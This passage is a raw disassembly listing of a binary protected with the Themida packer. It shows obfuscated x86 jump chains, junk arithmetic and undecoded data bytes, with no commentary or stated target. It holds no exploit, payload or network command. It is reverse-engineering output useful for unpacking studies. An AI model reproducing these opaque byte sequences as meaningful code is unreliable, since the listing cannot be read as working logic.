0D3561316h, 38E9CE89h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E66B: ; CODE XREF: Themida_:00547006j shr dx, 4 push bp mov bp, 6B7Fh jmp loc_548737 ; --------------------------------------------------------------------------- loc_54E67A: ; CODE XREF: Themida_:0054D101j add edi, esi pop esi push 76B1h jmp loc_556468 ; --------------------------------------------------------------------------- db 29h dd 357E9D8h, 0C4810000h, 4, 0FF5481E9h, 0DEE81FFh, 81007D33h dd 4453C0C6h, 81EE292Bh, 4453C0EEh, 0DC6812Bh, 81007D33h dd 0A4349EEh, 33EE8151h, 50778A5Ah, 877714B8h, 3E4F0522h dd 0C2256006h, 25355C39h, 0BF13CECh, 2D02E0C1h, 0D51FBD6Ah dd 0FFD072E9h, 53E957FFh, 5DFFFFBFh, 0FFF99FE9h, 0D553BEFFh dd 85E91613h, 0FF000054h, 669D1C77h, 2414D359h, 4006E99Ch dd 815CFFFFh, 4ECh, 243C8900h, 89585DBFh, 0BE5662h, 0E9000000h dd 4326h, 80B9CD80h, 0E4E9B6EDh db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E72B: ; CODE XREF: Themida_:0054D54Bj add bl, 4Eh push small 20h mov [esp], ax sub esp, 4 mov [esp], esi mov esi, esp jmp loc_55198F ; --------------------------------------------------------------------------- loc_54E746: ; CODE XREF: Themida_:00544E91j add esp, 4 add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], edx push esp jmp loc_555E72 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0BF243C89h, 228C720Eh, 4247C31h, 0E35585Fh, 5E228C72h dd 8904EC83h, 0A8B9240Ch, 681DB829h, 7B44h, 0FFDB61E9h dd 4C481FFh, 0E9000000h, 0FFFF3FB5h ; --------------------------------------------------------------------------- loc_54E79C: ; CODE XREF: Themida_:00546058j push 4FB273C7h mov edx, [esp] add esp, 4 not edx push esi push esp pop esi sub esp, 4 mov [esp], edi mov edi, 4 add esi, edi mov edi, [esp] add esp, 4 sub esi, 4 push esi push dword ptr [esp+4] mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] jmp loc_5558B4 ; --------------------------------------------------------------------------- db 33h, 0Ch, 24h dd 33240C31h, 248B240Ch, 8814E924h, 8868FFFFh, 89000061h dd 2BA2414h, 53000000h, 36025968h, 2D5B43h, 50EBC2Ch, 1E5508B4h dd 0B42DD801h, 561E5508h, 4441A0BEh, 804BE97Dh, 0D5E90000h db 3Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E837: ; CODE XREF: Themida_:00553406j pop esp not edx jmp loc_553862 ; --------------------------------------------------------------------------- db 1 aIlS5 db 'ë‹,$éš5',0 dd 4875A00h, 34FF5C24h, 24048B24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi push 905035Ah jmp loc_544C47 ; --------------------------------------------------------------------------- dw 28BEh dd 81278209h, 307CBCE6h, 81DEF726h, 0FFF7D4EEh, 5EF389D9h dd 4245C01h, 0FFE99EE9h, 24048FFFh, 0CD27E952h, 0C581FFFFh dd 4, 2474FF55h, 48F5D04h, 0E9DCE924h, 148BFFFFh, 4C48124h dd 5000000h, 7A3867E9h, 0E92DC801h, 597A3867h, 8B240487h dd 8B662424h, 9A68240Ch, 89000006h, 8B54240Ch, 54E9240Ch db 0B8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E8CF: ; CODE XREF: Themida_:005525E7j mov bl, al pop eax jmp loc_54DBF1 ; --------------------------------------------------------------------------- loc_54E8D7: ; CODE XREF: Themida_:0054AB14j push edi push 3ABE187Ch pop edi xor edi, 0C8F711Bh mov edx, edi pop edi sub [esp+4], edx pop edx pop ebx jmp loc_54D208 ; --------------------------------------------------------------------------- loc_54E8F2: ; CODE XREF: Themida_:00554FD0j shr esi, 4 xor esi, 12976941h xchg ebp, esi jmp loc_54697F ; --------------------------------------------------------------------------- loc_54E902: ; CODE XREF: Themida_:005517B4j mov ebp, 601067FCh mov ebx, ebp pop ebp xor eax, ebx pop ebx sub esp, 4 mov [esp], ebx push ecx push eax push esi mov esi, 32E3515h not esi jmp loc_554EE5 ; --------------------------------------------------------------------------- loc_54E922: ; CODE XREF: Themida_:0054DCD2j add ebx, 8BAF8478h mov eax, ebx pop ebx sub ebx, eax pop eax or edi, ebx jmp loc_543339 ; --------------------------------------------------------------------------- db 4, 0DAh, 0 dd 0E9DA2CD8h, 0FFFFADB5h ; --------------------------------------------------------------------------- loc_54E940: ; CODE XREF: Themida_:00546764j push 26FDh mov [esp], edi push ecx push ebx add dword ptr [esp], 1FA4565Ah pop ecx sub ecx, 1FA4565Ah mov edi, ecx pop ecx mov eax, edi mov edi, [esp] add esp, 4 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edi mov edi, eax jmp loc_54D49E ; --------------------------------------------------------------------------- dd 1C8BD801h, 4C48324h, 3F69E952h, 54BEFFFFh, 13BF0A4h dd 0C1295EF0h, 0E9CE0158h, 0AB1h ; --------------------------------------------------------------------------- loc_54E99C: ; CODE XREF: Themida_:00555BD2j push edx push ebp pop edx push dword ptr [esp] jmp loc_553C98 ; --------------------------------------------------------------------------- loc_54E9A7: ; CODE XREF: Themida_:0055248Aj pop ecx mov ecx, [esp] jmp loc_54A404 ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFF9392h, 6F0F68h, 2A96E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E9C2: ; CODE XREF: Themida_:0054B412j add esp, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], ecx jmp loc_54270C ; --------------------------------------------------------------------------- db 0BAh, 0C2h, 87h dd 0FA2950E2h, 0FF3D50E9h, 4EC81FFh, 89000000h, 0AAE9241Ch db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E9F3: ; CODE XREF: Themida_:005571B8j jmp loc_54270C ; --------------------------------------------------------------------------- dd 0C42CFEBDh, 545B2D58h, 0E829713Ch, 3C545B05h, 242C8B71h dd 0FFFD80E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EA11: ; CODE XREF: Themida_:0054E5ACj pop ecx xor ebx, 32907D1Bh xor ebx, 94CDF6F4h xor ecx, ebx mov ebx, [esp] add esp, 4 sub esi, 598959EBh add esi, ecx add esi, 598959EBh jmp loc_551F7D ; --------------------------------------------------------------------------- loc_54EA39: ; CODE XREF: Themida_:0054D3E3j add ebp, 4EE85EF7h inc ebp shl ebp, 2 push 0 sub [esp], ebp mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub ebp, 0E178873Ch push esi mov esi, ebp mov ebx, esi pop esi mov ebp, [esp] add esp, 4 jmp loc_54F5B9 ; --------------------------------------------------------------------------- dw 0E95Fh dd 0FFFFA5BCh, 0E904C483h, 42ECh ; --------------------------------------------------------------------------- loc_54EA84: ; CODE XREF: Themida_:005531C5j push ebp mov ebp, esp push ebx jmp loc_543963 ; --------------------------------------------------------------------------- db 5Ah, 81h, 0C4h dd 4, 8904EC83h, 0EEB1240Ch, 0C8BC800h, 7E396824h, 14890000h dd 2CE95024h, 0F700005Ch, 3F16E9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EAB6: ; CODE XREF: Themida_:00548FC4j pop ebp jmp loc_5564FA ; --------------------------------------------------------------------------- loc_54EABC: ; CODE XREF: Themida_:005571DCj mov [esp], eax mov eax, esp add eax, 4 jmp loc_548441 ; --------------------------------------------------------------------------- db 54h dd 6824148Bh, 34D0h, 89240C89h, 1ABF57E1h, 5636756Ch, 1702EBEh dd 93B95104h, 490DC12Eh, 0E9595251h, 1BD7h ; --------------------------------------------------------------------------- loc_54EAF4: ; CODE XREF: Themida_:005529F9j mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_54AD68 ; --------------------------------------------------------------------------- loc_54EB0B: ; CODE XREF: Themida_:00551520j add esi, 6E10CFFFh sub ebp, esi jmp loc_546423 ; --------------------------------------------------------------------------- dd 6521C181h, 515E0441h, 42474FFh, 24048F59h, 0E924248Bh dd 0FFFFBE31h, 9927C181h, 0C801BBFDh, 58C58959h, 2D0C581h dd 0ED811ACAh, 2F147F54h, 75F4C681h, 84E908B8h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54EB53: ; CODE XREF: Themida_:005456E1j pop ebx jmp loc_55222E ; --------------------------------------------------------------------------- loc_54EB59: ; CODE XREF: Themida_:005515EAj dec edi push 4A43h mov [esp], ecx mov ecx, 5B380676h shl ecx, 1 dec ecx push edx mov edx, 7A9D1E17h dec edx xor edx, 76875401h xor edx, 0C065AA9h sub ecx, edx pop edx and ecx, 75684410h xor ecx, 0C07466Ch add edi, ecx pop ecx push ecx jmp loc_551FD8 ; --------------------------------------------------------------------------- db 57h, 0E9h, 2Ah dd 0F7000002h, 6FF42DD0h, 1A35097Eh, 29DDB96Bh, 575E58C2h dd 0FF49BEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54EBB1: ; CODE XREF: Themida_:00556D6Fj xchg ebx, [esp] pop esp mov [esp], ebp mov ebp, esp add ebp, 4 push edx mov edx, 4 sub ebp, edx pop edx push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_542B5F ; --------------------------------------------------------------------------- db 68h dd 313Dh, 0BB241C89h, 216D144Ch, 5103EBC1h, 0BF7AC5B9h dd 4CC18177h, 0C133AF06h, 0D1F708E9h, 0FFD451E9h, 48B66FFh dd 1C0F6824h, 0C890000h, 0A9E6824h, 0A9E90000h, 81000022h dd 8C7542F1h, 0E9E9872Ch, 25ECh, 4ED81h, 2C870000h, 34895C24h dd 2474FF24h, 48F5E04h, 2BE95C24h, 58FFFFDAh, 0DAE7E951h dd 0C5E9FFFFh, 89FFFF3Ah, 0E82959CDh, 4EC835Dh, 0E9240C89h dd 1254h, 0E9028864h, 0FFFF3AACh, 63685755h, 0E9393557h dd 0FFFFB3DAh, 241C875Ah, 780CE9h, 0E2895200h, 2DE95753h dd 500008Ah, 4A062746h, 0FFDC63E9h, 58C601FFh, 0F9FE9h dd 0E9EB3100h, 0FFFFA3F8h, 0A2BA525Dh, 215C414Bh, 0EC835AD6h dd 0CFE904h, 0E7890000h, 4C781h, 0BCE90000h, 2CFFFF6Eh dd 0A10417h, 0B55166D0h, 7742E9A1h, 0EB81FFFFh, 3CCF086Ch dd 0C381D329h, 3CCF086Ch, 527CEB81h, 0E9534D74h, 529Fh dd 5CFAE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54ECE6: ; CODE XREF: Themida_:0054DEA4j or ebx, 115853E0h jmp loc_54B2EF ; --------------------------------------------------------------------------- db 0E9h, 16h, 3Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ECF6: ; CODE XREF: Themida_:00555FB9j mov esi, edx mov edi, esi mov esi, [esp] add esp, 4 pop edx jmp loc_54C44D ; --------------------------------------------------------------------------- loc_54ED06: ; CODE XREF: Themida_:00550E5Fj push edi push ecx mov ecx, 4 mov edi, ecx jmp loc_5503B8 ; --------------------------------------------------------------------------- dd 0D6939DBDh, 4EC83A4h, 0B9240C89h, 2AE10396h, 8159CE29h dd 4ECh, 243C8900h, 0FF57D7BFh, 78C78179h, 0E952AD24h dd 547Fh, 9D2819BBh, 94EB8173h, 137F6F4h, 0E9815BD9h, 405F01ABh dd 35E9C101h, 8900000Eh, 0B2522404h, 0E951661Ch, 0FFFF3DCEh dd 78E4E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ED6E: ; CODE XREF: Themida_:00545542j push ecx mov ecx, 5E716EF8h jmp loc_5566C1 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0FE8E4EBAh, 0C2EE81DDh, 81202A02h, 5B0E1BC6h, 81D62919h dd 5B0E1BEEh, 0C2C68119h, 0FF202A02h, 505A2434h, 0FF680EE9h dd 2474FFFFh, 48F5804h, 24248B24h, 240C8B66h, 705A68h dd 8AF0E900h, 5954FFFFh, 0FFDB03E9h, 240481FFh, 16223BACh dd 0ACEA815Ah, 5F16223Bh, 148BD629h, 4C48324h, 0FF4673E9h dd 2C895CFFh, 5D32BD24h, 6EE90103h db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EDEF: ; CODE XREF: Themida_:00550A9Dj mov ebx, esp jmp loc_557AE3 ; --------------------------------------------------------------------------- loc_54EDF6: ; CODE XREF: Themida_:00548318j xor edi, [esp] jmp loc_5441FC ; --------------------------------------------------------------------------- dw 38B8h dd 810A934Fh, 0E5E94C1h, 68C1013Ch, 7BDBh, 0FF7196E9h dd 4C481FFh, 83000000h, 48904ECh, 50585324h, 0FF9CE2E9h dd 815F58FFh, 0F31FCFC5h, 7E5CE9A9h, 3487FFFFh, 24248B24h dd 8904EC83h, 0E0892404h, 4BD55h, 0E8010000h, 45F1E95Dh dd 0CB800000h, 86E380BDh, 0FE9ECB80h, 0B4C380C3h, 2C5BD828h dd 66D8002Fh, 2FB151h, 0C8B66C8h, 2C48324h, 34FF5304h dd 21E95B24h db 4Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EE7F: ; CODE XREF: Themida_:0054A4B7j pop eax push 393Fh mov [esp], edx mov edx, 654A4824h jmp loc_543B51 ; --------------------------------------------------------------------------- dw 8966h dd 0FF66242Ch, 0E9022474h, 0FFFF9413h ; --------------------------------------------------------------------------- loc_54EEA0: ; CODE XREF: Themida_:005515F3j mov esi, esp add esi, 4 push 72E8h jmp loc_5444E6 ; --------------------------------------------------------------------------- dw 0E3C1h dd 0C3814302h, 7911FE60h, 5035E9h, 24248B00h, 0B0240489h dd 24282C21h, 7E0C040h, 48B15166h, 5966C800h, 8058C588h dd 0D5F68DE5h, 5005EDC0h, 2DCBE9h, 0E9E18900h, 0FFFFED52h dd 4C281h, 0C2810000h, 4, 31241433h, 14332414h, 24248B24h dd 0FF64D7E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EF0D: ; CODE XREF: Themida_:005519A1j sub esi, eax sub esi, 7FE37045h pop eax xchg esi, [esp] pop esp mov [esp], ecx push edx mov dh, 85h mov cl, 0D2h sub cl, dh pop edx mov al, cl pop ecx jmp loc_54C1C4 ; --------------------------------------------------------------------------- loc_54EF2D: ; CODE XREF: Themida_:0054B476j pop eax pop ebx sub dword ptr [esp], 0AE37929h sub dword ptr [esp], 1EBD0DFAh jmp loc_545C47 ; --------------------------------------------------------------------------- loc_54EF42: ; CODE XREF: Themida_:00552D94j mov esi, ecx pop ecx xor esi, 63FA7215h not esi add esi, 23672570h jmp loc_54F0D8 ; --------------------------------------------------------------------------- dd 677EEB81h, 34FF20B7h, 0C4835824h, 0C6EA8104h, 81204F44h dd 0C274C4EAh, 81DA012Fh, 0C274C4C2h, 0C6C2812Fh, 5B204F44h dd 52CDE9h, 24348900h, 0C6815E54h, 4, 0BB535250h, 51344F83h dd 0E904EBC1h, 0FFFF9B54h, 0B753C4FEh, 5B83E929h, 0C281FFFFh dd 4, 8704EA83h, 895C2414h, 55E9242Ch, 83FFFFFDh, 0D82104C4h dd 1C77FF5Bh, 68240C8Bh, 6440h, 54240489h, 7D11E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54EFDA: ; CODE XREF: Themida_:0054A741j push ebp mov ebp, 38A7394Dh xor ebp, 2856D57h sub ebx, ebp pop ebp inc ebx xor ebx, 52C2859Bh add esi, ebx pop ebx add esi, edx jmp loc_5546B1 ; --------------------------------------------------------------------------- loc_54EFFA: ; CODE XREF: Themida_:00544697j mov ecx, 67A9296Bh mov ebx, 412F2E2Ah xor ebx, ecx mov ecx, [esp] add esp, 4 jmp loc_552742 ; --------------------------------------------------------------------------- loc_54F014: ; CODE XREF: Themida_:005463E9j xchg ebp, [esp] pop esp jmp loc_54D68A ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h aUrhkg db 'URhªG',0 dw 8900h dd 5568241Ch, 0E9000058h, 0FFFF996Ch, 81242C8Bh, 4C4h dd 4EC8300h, 55241C89h, 0EC7AE4BDh, 0DDF74D69h, 851FB850h dd 0C5319613h, 0FFA327E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F059: ; CODE XREF: Themida_:00547011j xor edi, 57EB1602h mov ebx, edi pop edi shr ebx, 1 push eax mov eax, 718F3160h sub ebx, eax pop eax push ecx jmp loc_54AE38 ; --------------------------------------------------------------------------- db 21h dd 24048BC3h, 29DE9h, 241C3300h, 0E924248Bh, 0FFFFBBF0h dd 8036EE80h, 0F50002C6h, 0FF7D5BE9h, 0E9EE87FFh, 2ADh ; --------------------------------------------------------------------------- loc_54F09C: ; CODE XREF: Themida_:00551013j xor ebp, 5742CEDh jmp loc_55150B ; --------------------------------------------------------------------------- db 33h dd 34312434h, 24343324h, 0E924248Bh, 0FFFFED11h, 8124048Bh dd 4C4h, 0FFF03000h, 0E95A2434h, 5508h, 42474FFh, 0E924148Bh dd 3E60h ; --------------------------------------------------------------------------- loc_54F0D8: ; CODE XREF: Themida_:0054EF53j add esi, 0DE2ECDB1h xor ecx, esi pop esi push ebp mov ebp, ecx mov edx, ebp pop ebp mov ecx, [esp] add esp, 4 loc_54F0ED: ; CODE XREF: Themida_:loc_54298Ej ; Themida_:005540B7j push edx push esp jmp loc_549731 ; --------------------------------------------------------------------------- dd 1382C681h, 0F3893E9Eh, 0F9A1BD5Eh, 0DD01369Ah, 0DDF7455Bh dd 2B97BF57h, 0BE562B2Ch, 717E1D29h, 13F6ED81h, 45E95D2Ch dd 0B5000049h, 73B65295h, 148BF530h, 0E6895624h, 0E6685055h dd 584D8848h, 0F1504F2Dh, 2E78E901h, 39BB0000h, 0E9776119h dd 61A1h ; --------------------------------------------------------------------------- loc_54F148: ; CODE XREF: Themida_:00548F2Dj add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_5458FA ; --------------------------------------------------------------------------- loc_54F15F: ; CODE XREF: Themida_:00551B25j mov esi, 4 jmp loc_546195 ; --------------------------------------------------------------------------- db 0BEh, 96h, 66h dd 0EEC135E7h, 0FF7EE905h, 489FFFFh, 7CF1E924h, 0CCB90000h dd 0E93F4506h, 0FFFF9FD0h, 61E268h, 243C8900h, 8B2414F7h dd 0C483243Ch, 8B85004h, 0C1530160h, 0F80D08E0h, 0C16C3047h dd 4E6803E0h, 8900003Ah, 0FDBA2414h, 0E97A903Ah, 0FFFFA140h dd 0E924248Bh, 5247h, 4C381h, 0EB810000h, 4, 0E9241C33h dd 0FFFFE119h, 22B65266h, 0FF5495E9h, 2434FFFFh, 7B13685Eh dd 2BE90000h, 81FFFF6Ch, 7AB74C6h, 8BF309AAh, 0C4832434h dd 97DAE904h, 0F801FFFFh, 1216BD2Dh, 0BF575F4Eh, 0FFFFFFFFh dd 2C2F452Dh, 0E190E913h, 8B66FFFFh, 8351240Ch, 6BE904ECh dd 0BF000067h, 5810285Dh, 380FBA52h, 0D7296F55h, 9219E95Ah dd 0C283FFFFh, 3719E904h, 1E68FFFFh, 5A30141Fh, 0D731EA81h dd 0D1892D97h, 13F4E9h, 2CFE0500h, 34FF58C4h, 89565924h dd 0EEC3E9E6h, 0C15EFFFFh, 0CE8105E6h, 2B1858CEh, 53CDBA52h dd 0D6293132h, 0E9F5895Ah, 0FFFF5CBBh ; --------------------------------------------------------------------------- loc_54F280: ; CODE XREF: Themida_:0054CB9Aj mov ebx, [esp] jmp loc_556F81 ; --------------------------------------------------------------------------- dd 9C241CF7h, 0FF347BE9h, 6FE95DFFh, 8B00001Ah, 0EC832404h dd 242C8904h, 0C5815D54h, 4, 4BF57h, 50E90000h db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F2B3: ; CODE XREF: Themida_:0054B3CCj shr ch, 1 shl ch, 1 dec ch shr ch, 4 jmp loc_550B02 ; --------------------------------------------------------------------------- db 81h, 0F2h, 88h dd 0F7268739h, 0C3CCE9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F2CE: ; CODE XREF: Themida_:00553F4Ej mov ecx, 4C611575h xor esi, ecx pop ecx push edi mov edi, 55F720C5h xor esi, edi pop edi or esi, 20414E67h dec esi xor esi, 458C4B38h sub ecx, esi pop esi shl ecx, 4 jmp loc_553382 ; --------------------------------------------------------------------------- loc_54F2F7: ; CODE XREF: Themida_:005521B1j mov edx, [esp] push 4E77h mov [esp], edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] jmp loc_5438E8 ; --------------------------------------------------------------------------- dw 8953h dd 4C381E3h, 81000000h, 4C3h, 241C8700h, 5224248Bh, 0E3BF9CBAh dd 8BD33112h, 0C4812414h, 4, 0DD895552h, 0FF4E15E9h, 31F031FFh dd 57F031C6h, 0A9031BBFh, 1ABA5252h, 2952A903h, 0BD055AD7h dd 0E94E1216h, 0FFFFFE9Ah ; --------------------------------------------------------------------------- loc_54F368: ; CODE XREF: Themida_:005541A9j sub esp, 4 mov [esp], ebx not dword ptr [esp] mov ebx, [esp] add esp, 4 add ebx, 69FB8AF6h push ebx sub dword ptr [esp], 3322205Fh pop ecx add ecx, 3322205Fh pop ebx inc ecx jmp loc_54FDD4 ; --------------------------------------------------------------------------- dw 0B450h dd 0E9E788ABh, 78F9h ; --------------------------------------------------------------------------- loc_54F3A0: ; CODE XREF: Themida_:00552906j mov bp, 8D9h add bx, bp jmp loc_546C63 ; --------------------------------------------------------------------------- loc_54F3AC: ; CODE XREF: Themida_:0054C1FEj add eax, 4 sub eax, 4 jmp loc_543BD2 ; --------------------------------------------------------------------------- db 1 dd 2434FFD0h, 3E68575Ah, 8900006Ch, 4812424h, 424h, 0BE565F00h dd 710E70B0h, 0C67E9h, 332AE900h, 0BF57FFFFh, 44FC7672h dd 0DF17172Dh, 5F80103h, 3DF1717h, 2DE8015Fh, 44FC7672h dd 0FF5226E9h, 0DDF759FFh, 0DB84E951h, 815BFFFFh, 4ECh dd 24348900h, 176FBB53h, 0DE895553h, 42E9E9h, 81D6F700h dd 0DD412BC6h, 0DDC68173h, 8155175Ch, 0FD175BEEh, 0D7AFE926h dd 0EA80FFFFh, 0CDC2809Dh, 7FFAE958h, 585BFFFFh, 0EF6E9h dd 240C8B00h, 0FF4B9FE9h, 85E947FFh db 82h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F45B: ; CODE XREF: Themida_:0054431Cj mov [esp], eax mov eax, 4 add edx, 0D1A68C9h sub edx, eax sub edx, 0D1A68C9h mov eax, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] jmp loc_54835B ; --------------------------------------------------------------------------- db 0F7h, 0DBh, 43h dd 0EB81D3F7h, 3D37C9F2h, 7EB8E9h, 3272E900h, 55AFFFFh dd 73E72431h, 0F40A5B05h, 0C9BA5208h, 5222D75Bh, 5A2414F7h dd 3329E957h, 6C810000h, 425D0824h, 0B85016D6h, 6F329E9h dd 0C244429h, 246C8158h, 2B2ABD08h, 2E95B6Ch, 8BFFFFECh dd 0C4812424h, 4, 2F09E9h db 0 ; --------------------------------------------------------------------------- loc_54F4E5: ; CODE XREF: Themida_:0055457Ej add ebp, edx pop edx add ebp, 4133481Ch push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_54BCDC ; --------------------------------------------------------------------------- dw 0ECC0h dd 8AC48006h, 0F6EECC80h, 0AC480DCh, 0FF8F3FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F50D: ; CODE XREF: Themida_:0055283Aj sub edx, esi pop esi sub edx, 0E34F5B1Ch add esi, edx mov edx, [esp] add esp, 4 or edi, esi pop esi push 4D81h mov [esp], ecx mov ecx, 5BF80AD7h dec ecx push ebx mov ebx, 1 jmp loc_55266B ; --------------------------------------------------------------------------- aMsQ db '¬éÊq',0 dw 8B00h dd 0C481243Ch, 4, 4C581h, 2C330000h, 242C3124h, 0E9242C33h dd 0FFFFAF8Eh, 8DC0B60Fh, 61688704h, 0E900001Eh, 4D77h ; --------------------------------------------------------------------------- loc_54F570: ; CODE XREF: Themida_:00549B4Cj push ebx mov ebx, 1BBE7A5Eh jmp loc_549463 ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 4116658h, 81E99C24h, 56FFFF31h, 0A3DFF0BEh dd 5EF531D8h, 0E95DE801h, 7625h ; --------------------------------------------------------------------------- loc_54F59C: ; CODE XREF: Themida_:0054B898j sub bl, 0B5h add bl, dh add bl, 0B5h sub bl, 6Bh mov edx, [esp] jmp loc_545087 ; --------------------------------------------------------------------------- loc_54F5AF: ; CODE XREF: Themida_:0054A977j mov eax, edx pop edx add eax, edi jmp loc_54FD23 ; --------------------------------------------------------------------------- loc_54F5B9: ; CODE XREF: Themida_:0054EA71j and ecx, ebx push dword ptr [esp] jmp loc_5449DC ; --------------------------------------------------------------------------- db 81h dd 9941AAEBh, 0B0EB8150h, 0FF054472h, 0BF6FE933h, 515DFFFFh dd 0C181E189h, 4, 4C181h, 0C870000h, 24248B24h, 0E2D1C209h dd 2EDB68h, 240C8900h, 60ACE9h db 0 ; --------------------------------------------------------------------------- loc_54F5FD: ; CODE XREF: Themida_:0054A4E9j shr edi, 1 jmp loc_556764 ; --------------------------------------------------------------------------- loc_54F604: ; CODE XREF: Themida_:00556A9Cj add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_550F18 ; --------------------------------------------------------------------------- db 66h dd 5324048Bh, 3F93E9h, 2CDB3400h, 5AA8E9D4h, 2BAFFFFh dd 1000000h, 0EBE6E9D6h, 77FFFFFFh, 19589D1Ch, 0E99C2404h dd 3147h, 75A6F281h, 0F28178D9h, 39D5262Ah, 33DEEA81h dd 0C2812ECEh, 0D8F00012h, 2954EF81h, 0D7014BFCh, 2954C781h dd 0A0E94BFCh, 68FFFFC0h, 2, 371CE9h, 2EE95900h, 8000002Ch dd 0E95BF8C1h, 656h, 0E924148Bh, 5208h, 0E680C6FEh, 0BDB753F5h dd 0FE04E7C0h, 8E64E9C7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F6A6: ; CODE XREF: Themida_:00557348j xor [esp], ecx xor ecx, [esp] pop esp add edx, 4 push ecx mov ecx, 4 add edx, ecx pop ecx jmp loc_555F27 ; --------------------------------------------------------------------------- loc_54F6C1: ; CODE XREF: Themida_:00544E4Fj shr ecx, 6 xor ecx, 7CAF3h jmp loc_556C52 ; --------------------------------------------------------------------------- db 54h dd 8124148Bh, 4C4h, 4EC8100h, 89000000h, 4BF243Ch, 1000000h dd 243C8BFAh, 0E904C483h, 2233h ; --------------------------------------------------------------------------- loc_54F6F4: ; CODE XREF: Themida_:005550C7j push 784Fh mov [esp], edx mov dh, 50h push ecx jmp loc_54B3CA ; --------------------------------------------------------------------------- dd 5024148Bh, 0FF4685E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F70D: ; CODE XREF: Themida_:00557252j mov edx, 3BE826C6h jmp loc_551FA1 ; --------------------------------------------------------------------------- db 31h dd 0D7015EF2h, 5A2434FFh, 8104C483h, 4C7h, 8406E900h, 34FF0000h dd 0EC835924h, 95DAE904h, 0CE29FFFFh, 0FF99C6E9h, 0BF5752FFh dd 7FFD24B1h, 0B1A3D7BAh, 2496E9C3h, 0A8040000h, 0FFC54FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F759: ; CODE XREF: Themida_:00555E58j jz loc_5572DA push ebx sub esp, 4 mov [esp], edx jmp loc_54CC37 ; --------------------------------------------------------------------------- dw 47BEh dd 816FF052h, 0F05243F6h, 352056Fh, 0F0010DF2h, 0F203522Dh dd 4055E0Dh, 87000000h, 875C2404h, 4DE92434h, 2DFFFF37h dd 66990CF1h, 9BE95357h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F7A3: ; CODE XREF: Themida_:00543950j pop edx push edi push 4 jmp loc_5538AC ; --------------------------------------------------------------------------- db 48h dd 4AE7BB53h, 0E3C174CFh, 0A4E38104h, 0E9184C30h, 0FFFF53A5h dd 0A4E9D3F7h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F7CB: ; CODE XREF: Themida_:0054ADEFj push dword ptr [esp] pop ecx jmp loc_54AF6C ; --------------------------------------------------------------------------- loc_54F7D4: ; CODE XREF: Themida_:00557AB4j pop esi jmp loc_555119 ; --------------------------------------------------------------------------- loc_54F7DA: ; CODE XREF: Themida_:00555A51j push ebx mov ebx, 4 add ebp, ebx pop ebx xchg ebp, [esp] pop esp push dword ptr [esp] jmp loc_545E3A ; --------------------------------------------------------------------------- db 89h dd 0EC832404h, 642DE904h, 0E95D0000h, 3505h, 240C8B66h dd 77EE68h, 24048900h, 4EC81h, 24890000h, 24048124h, 4 dd 5DB95158h, 5212481Ah, 7EA9E9h db 0 ; --------------------------------------------------------------------------- loc_54F829: ; CODE XREF: Themida_:00547243j pop esp sub esi, 4F4F04AAh add esi, ecx add esi, 4F4F04AAh pop ecx xchg esi, [esp] pop esp add esp, 4 jmp loc_554DC6 ; --------------------------------------------------------------------------- loc_54F848: ; CODE XREF: Themida_:00545AB8j add ch, 57h sub esp, 4 mov [esp], ecx not byte ptr [esp+1] inc byte ptr [esp+1] pop ecx sub ch, 0E5h xor al, ch pop ecx push 62A3h mov [esp], ecx mov cl, 73h jmp loc_54C4BD ; --------------------------------------------------------------------------- dw 805Ah dd 0D9F6DEE1h, 0E94EB050h, 0FFFFB9C7h, 4C216B2Dh, 72510D3Dh dd 792D531Dh, 89362578h, 0CD3158C1h, 0FF6126E9h, 0EF815EFFh dd 0F7E37B99h, 3C8BFB01h, 5619E924h, 2BAFFFFh, 81000000h dd 0EE5CBDEFh, 53D72926h, 